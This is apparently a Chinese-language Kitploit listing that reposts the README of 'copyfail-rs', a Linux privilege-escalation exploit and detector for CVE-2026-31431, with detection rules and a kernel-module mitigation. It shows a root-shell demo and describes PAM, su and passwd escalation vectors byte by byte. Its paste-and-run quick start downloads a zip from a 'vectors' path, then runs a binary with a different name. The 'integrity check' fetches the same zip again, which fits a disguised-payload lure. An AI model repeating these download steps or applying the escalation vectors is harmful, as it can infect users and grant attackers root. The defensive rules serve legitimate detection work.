Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
copyfail-rs — 使用一个静态二进制文件来利用和检测 CVE-2026-31431 漏洞,该二进制文件可监控系统完整性并绕过 PAM 认证。 | Kitploit
工具/GitHubGitHub/liverwortenuresis371/copyfail-rs
权限提升内存取证漏洞分析漏洞利用取证分析渗透测试身份验证红队事件响应二进制利用
GitHubliverwortenuresis371/copyfail-rs

copyfail-rs

使用一个静态二进制文件来利用和检测 CVE-2026-31431 漏洞,该二进制文件可监控系统完整性并绕过 PAM 认证。

52天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

copyfail-rs

针对 CVE-2026-31431(CopyFail)的多向量 PoC + 配套检测。 包含一个新颖的 PAM 认证绕过向量,其他公开 PoC 均未提供。 检测模式能够捕获 AIDE / Wazuh / OSSEC / Tripwire 在结构上无法发现的内容。

单个静态二进制文件。约 108 KB。no_std musl。

演示

root@kitploit:~
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

一条命令。获得 root shell。底层是 PAM 致命一击(仅向 /etc/pam.d/common-auth 写入 4 字节),通过 sudo 配合丢弃的密码获得 PTY 并降落到 root。[sudo] password for noot: 这一行会短暂闪现,sudo 总是回显该提示;二进制会向其输入任意字符串,pam_unix 的失败会级联穿过已被注释掉的 pam_deny.so,到达 pam_permit.so → root。

root@kitploit:~
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← what's actually loaded (mutated)
    disk:   117dab1c...  ← what AIDE / Wazuh / Tripwire see (clean)

这就是这个项目。磁盘干净,但缓存已被篡改。所有公开的 FIM 都是盲的。这个工具不是。

快速开始(无需构建)

在 v0.1.0 发布 上有预构建的静态二进制文件。选择你的架构,下载,运行。

root@kitploit:~
# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

其他架构:

ArchFile
ARM64 (aarch64)copyfail-aarch64-musl
ARMv7 (Raspberry Pi 3+)copyfail-armv7-musleabihf

校验完整性:

root@kitploit:~
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt

静态 musl 二进制,无运行时依赖,可在任何 Linux 上运行。

为什么 FIM 是盲的

页缓存篡改。没有 VFS 写入。没有脏页。没有 inotify 事件。周期性重扫与缓存回收竞争。

AIDE/Wazuh/OSSEC/Tripwire/Samhain 通过缓冲 I/O 读取 → 页缓存 → 将被篡改的字节哈希视为真相。或者,在缓存回收之后,对干净磁盘做哈希 → "从未发生过更改"。

检测需要 O_DIRECT(跳过缓存)+ 缓冲读取(命中缓存)+ 哈希差异。不匹配 = CopyFail 特征。这就是 --scan。

向量

自动选择:--vector auto(默认)。按隐蔽性排序 pam > su > passwd。失败时回退。

检测

处处支持 --json,方便 SIEM 接入。

检测产物

detection/:

  • sigma/copyfail-af-alg.yml,Sigma 规则,可直接放入你的 SIEM
  • auditd/copyfail.rules,augenrules --load
  • ebpf/copyfail-trace.bt,bpftrace 单行脚本
  • apparmor/copyfail-block.profile,AppArmor 3.0+ 拒绝规则
  • mitigation/disable-algif.sh,modprobe 黑名单 + =y 警告

缓解措施

root@kitploit:~
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

或者使用内核主线 a664bf3d603d(2026 年 4 月)。截至目前:只有 Debian Sid/Forky 已提供修复。Ubuntu LTS、RHEL、SUSE、Amazon Linux、Fedora、Arch、Oracle = 全部易受攻击。

注意:CONFIG_CRYPTO_USER_API_AEAD=y(内建)会静默绕过 modprobe。--check 会发出警告。

利用并缓解之后:被篡改的缓存会持续到重启。缓解措施能阻止新的利用,但无法撤销过去的利用。

构建

root@kitploit:~
cargo build --release --target x86_64-unknown-linux-musl
TargetSize
x86_64-musl108 KB
aarch64-musl96 KB
armv7-musleabihf86 KB

no_std。无分配器。无运行时依赖。单个静态二进制文件。

预构建产物和 SHA256 校验和已附加到 GitHub 发布。

用法

有关每种模式的具体一屏示例(exploit auto/list/all,detect check/scan/baseline/diff/watch/hunt),请参阅 docs/usage.md。

如需本 README 的长篇叙述版本(更多背景、更深入阐述),请参阅 BLOG.md。

威胁模型

请参阅 docs/threat-model.md。

对比

授权与伦理

仅限自有硬件。没有 CLI 门禁(安全剧场)。README + LICENSE = 框架本身。

检测模式是只读的。可在生产环境安全运行。

利用模式会篡改内核页缓存。仅存在于内存中,但请视为破坏性操作。会阻止任何后续调用者的认证。

致谢

CVE-2026-31431 由 Theori / Xint 于 2026-04-29 披露(writeup、Xint 博客)。之前的公开 PoC:

  • theori-io/copy-fail-CVE-2026-31431(Python,732 字节,su 向量)
  • tgies/copy-fail-c(带 nolibc 的 C,su + passwd 向量,可移植)
  • badsectorlabs/copyfail-go(静态 Go 二进制,su 向量)

本项目(copyfail-rs):新增 PAM 认证绕过向量、双模式检测、IR 产物。

许可证

MIT。

参考

  • https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
  • Linux 修复:a664bf3d603d
  • 下限:72548b093ee3(4.14,2017 年 8 月)
  • 类似:Dirty Pipe(CVE-2022-0847)
下载工具
向量目标落点
pam(新增)/etc/pam.d/common-auth(Debian/Ubuntu)或 system-auth(Fedora/RHEL/Arch)4 字节。auth requisite pam_deny.so → #aut requisite pam_deny.so。使用任意密码执行 sudo = root。
su/usr/bin/su篡改 setuid 二进制文本。execve → root。
passwd/etc/passwdUID 翻转 → 用户下次登录时变为 root。破坏该用户的 SSH。
模式说明
--check内核 + 模块 + CONFIG_CRYPTO_USER_API_AEAD + 缓解状态。判定:易受攻击 / 已缓解 / 安全。
--scan在关键文件上进行 O_DIRECT 与缓冲读取的差异比较。statfs() 分支:ext4/xfs/btrfs 使用 O_DIRECT,overlayfs 回退,tmpfs 跳过。
--baseline / --diff对已知干净状态做快照。之后进行差异比较。仅缓存增量 = CopyFail 指纹。
--watch守护进程。定期扫描。SIGTERM 干净退出。
--huntSSH 主机群扫描。JSON 聚合。
Theori Pythontgies Cbadsectorlabs Gocopyfail-rs
向量susu + passwdsusu + passwd + PAM(新颖)
检测无无无完整 --mode detect
IR 产物无无无Sigma + auditd + eBPF + AppArmor
操作者体验3 条命令4 条命令5 条命令1 条命令
二进制文件需要 Python~10 KB~5 MB~108 KB 静态